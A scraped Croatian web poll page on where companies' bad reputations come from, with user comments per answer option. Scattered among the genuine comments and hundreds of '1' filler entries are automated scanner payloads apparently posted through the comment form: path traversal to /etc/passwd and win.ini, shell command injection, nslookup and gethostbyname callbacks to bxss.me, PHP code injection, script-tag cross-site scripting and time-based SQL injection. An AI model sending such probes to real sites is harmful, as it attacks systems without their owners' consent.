Share
Tweet
Share

Poll

Odakle u najvećoj mjeri dolazi negativna i loša slika o tvrtkama?

  • Od trenutnih zaposlenika (44%)
    (1068)
    Comments (269)

    Comments

    Mobbing, diskriminacija

    Tvrtku čine njezini zaposlenici, ako su oni neodgojeni, na kakvom glasu može biti tvrtka?

    u zadnje 3 firme koje sam radio, najvise su me ometali kolege

    I bivsih

    Zbog ne mogućnosti napredovanja kod trenutnog poslodavca

    Neki su objektivni neki samo zločesti

    Nezadovoljan djelatnik je glavni pokazatelj da tvrtka nije onakva kakvom se želi prikazati. Manje mobinga i veće plaće.

    Prijatelji i poznanici u društvu pričaju među sobom, pogotovo ako rade u istoj branši

    svi koji donose negativnu atmosferu na posao treba ih poslati prvim vlakom dalje.

    Zato jer su nezadovoljni

    Govoriti o lošim praksama tvrtke dok si zaposlen za tu istu tvrtku je opasno po radno mjesto, međutim kada je toliko loše da te baš briga, onda stvarno znaš da tamo nešto stvarno ne funkcionira.

    Sremna sm izavove

    Nisu uslužni

    Znaju kako je tamo

    -

    Ne živimo da bi radili,,,nego radimo da bi preživjeli

    Komentar

    nezadovoljstvo je nerijetko uzrokovano lošom organizacijom rada i neadekvatnim odabirom rukovodećeg kadra

    Jer su sigurno potplaćeni i nezadovoljni uvjetima.

    Uzas

    ljudi odražavaju stvarno stanje tvrtki

    Zbog njihovog nezadovoljstva i ne zainteresiranost za rad

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    ${10000192+10000272}

    response.write(9939484*9449492)

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    ../../../../../../../../../../../../../../windows/win.ini

    1

    1

    1

    1

    1&n940944=v901696

    1

    1

    1

    1

    ../1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    '"()

    1

    1

    1

    1

    1

    1

    1

    1

    echo yvuucb$()\ dcamqp\nz^xyu||a #' &echo yvuucb$()\ dcamqp\nz^xyu||a #|" &echo yvuucb$()\ dcamqp\nz^xyu||a #

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    '.gethostbyname(lc('hitjc'.'vzljbnyp71136.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(69).chr(114).chr(86).'

    1

    1

    (nslookup hitkhcubdpqqb7a5c1.bxss.me||perl -e "gethostbyname('hitkhcubdpqqb7a5c1.bxss.me')")

    1

    1

    1

    1

    )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

    `(nslookup hitzfuvmondivcf52d.bxss.me||perl -e "gethostbyname('hitzfuvmondivcf52d.bxss.me')")`

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    index.php

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    ';print(md5(31337));$a='

    1

    1

    1

    1

    1

    1

    1

    1

    '.print(md5(31337)).'

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1'"()&%<acx><ScRiPt >j3WQ(9538)</ScRiPt>

    1

    1

    1

    '"()&%<acx><ScRiPt >j3WQ(9715)</ScRiPt>

    1

    1

    1

    19612516

    1

    1

    acu8537<s1﹥s2ʺs3ʹuca8537

    1

    1

    1

    1

    1

    1

    CWS000x?=?1N?@E߮??I)?@?? ?HiP"D?F? G&َ7??܂?rX;!S??̛????7Jq???.?>?p?c?l??zG?ܾM??dkj?,??(???T?Jj)?"?T7$??H?D6)? x)??ؒ?\C?|?Q?Nc?b??? b_&?5 h??g? ]s??0Q?L<?6?L?_?w~?[?/[?m{?????:n-????.?d1d???6?0

    1

    1

    1

    1

    1

    1

    1

    1

    -1 OR 2+687-687-1=0+0+0+1

    -1' OR 2+229-229-1=0+0+0+1 or 'jJc0jkbV'='

    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    Nezadovoljstvo

    ...

    i sam sam trenutni zaposlenik i bilo komu tko me pita govorim da zaobilazi moju tvrtku u sirokom luku

    Ljudi nikada nisu zadovoljni, ne vesele se malim stvarima, posao gledaju kao nešto što moraju, a ne uživaju u njemu

    Svjedočiš iz prve ruke

    informacije iz prve ruke

    Centrus TIM d.o.o.

    Zbog lošeg odnosa firmi premna zaposlenim i zbog kršenja ugovorenih uvjeta

    Najkompetentniji su

    Iskorištavanje radnika

    Loše plače

    Manageri imaju prevelike plaće.

    Problem s neadekvatnim rukovodstvom.

    Oni koji su svaki dan u firmi i zbog toga vide sve i znaju sve (što nije u redu)

    jer je mnogo zaposlenih alkoholičara u tvrtkama

    Zelim da se zaposlim

    Dokazi sa "prve crte"tj iz prve ruke

    dominik testira

  • Od bivših zaposlenika (40%)
    (957)
    Comments (240)

    Comments

    Oni koji su otišli govore istinu jer nemaju što izgubiti

    ukoliko su nezadovoljni bili

    Serem te

    i treba ih hračkat

    Ljudi dijele svoja iskustva. Glassdoor počiva na tome.

    Sadašnji zaposlenici nece pljuvati po ustima koja ih hrane

    Kad radnik nije zadovoljan, traži bolji posao i kad ga nađe ode od trenutnog poslodavca i tada iznese sve s čim nije bio zadovoljan.

    Valjda bivši znaju

    Za svoj eventualni neuspjeh u tvrtki okrivljuju druge osobe

    kažu sve što su šutili i trpili dok su radili

    Iz osobnog iskustva...

    jer nisu se usudili ništa govoriti kad su radili.

    1

    1

    1

    1

    response.write(9878929*9250054)

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    ../../../../../../../../../../../../../../etc/passwd

    1

    1

    1

    1

    Array

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    !(()&&!|*|*|

    |echo ubyegl$()\ eapzxt\nz^xyu||a #' |echo ubyegl$()\ eapzxt\nz^xyu||a #|" |echo ubyegl$()\ eapzxt\nz^xyu||a #

    Array

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    "+"A".concat(70-3).concat(22*4).concat(106).concat(67).concat(97).concat(77)+(require"socket" Socket.gethostbyname("hitkq"+"akjlieon75abb.bxss.me.")[3].to_s)+"

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    index.php

    1

    1

    /xfs.bxss.me

    1

    1

    1

    1

    1

    1

    ';print(md5(31337));$a='

    1

    1

    1

    1

    '"

    1

    1

    '.print(md5(31337)).'

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1'"()&%<acx><ScRiPt >N9NZ(9413)</ScRiPt>

    1

    1

    '"()&%<acx><ScRiPt >N9NZ(9067)</ScRiPt>

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    U najvećoj mjeri od onih koji su napustili brod koji tone.

    Kad netko ode iz firme i nema nikakvih obaveza prema firmi, a ponajvise straha onda iznosi sto je sve bilo lose u firmi bez staha od prijetnji i gubitku posla

    Nije uvjek slučaj, ali u 70% bivši zaposlenici kažu realnu sliku, dok trenutni zaposlenici nesmiju se izjasniti negativno zbog straha od otkaza...

    ukoliko se poslodavac nekorektno odnosio prema radnicima

    kad izađu iz vrtke, više se ne boje ispričati kako tamo stvari zapravo funkcioniraju.

    Po meni jedino realno jer je iz iskustva a ne rekla kazala.

    Nisam s razlogom bivsi zaposlenik,svako ima svoje

    zato što su pičke

    Ne bi otišli da su zadovoljni.

  • Od kandidata koji se nisu uspjeli zaposliti (11%)
    (277)
    Comments (174)

    Comments

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    ../../../../../../../../../../../../../../windows/win.ini

    1

    1

    1

    ../1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    bxss.me

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    ".gethostbyname(lc("hitnc"."yaazqbflf151a.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(89).chr(111).chr(74)."

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    index.php

    1

    1

    1

    1

    1

    1

    1

    ';print(md5(31337));$a='

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1'"()&%<acx><ScRiPt >ZF4n(9890)</ScRiPt>

    1

    1

    '"()&%<acx><ScRiPt >ZF4n(9949)</ScRiPt>

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

    1

  • Od konkurentskih tvrtki (5%)
    (111)
    Comments (1)

    Comments

    Fali opcija "nešto drugo" ali nezdrave tvrtke sa učestalom izmjenom zaposlenika mrze kad ste odličan radnik i imate alternativu.

We use cookies to enhance your experience. By continuing to visit this site you agree to our use of cookies. Learn more.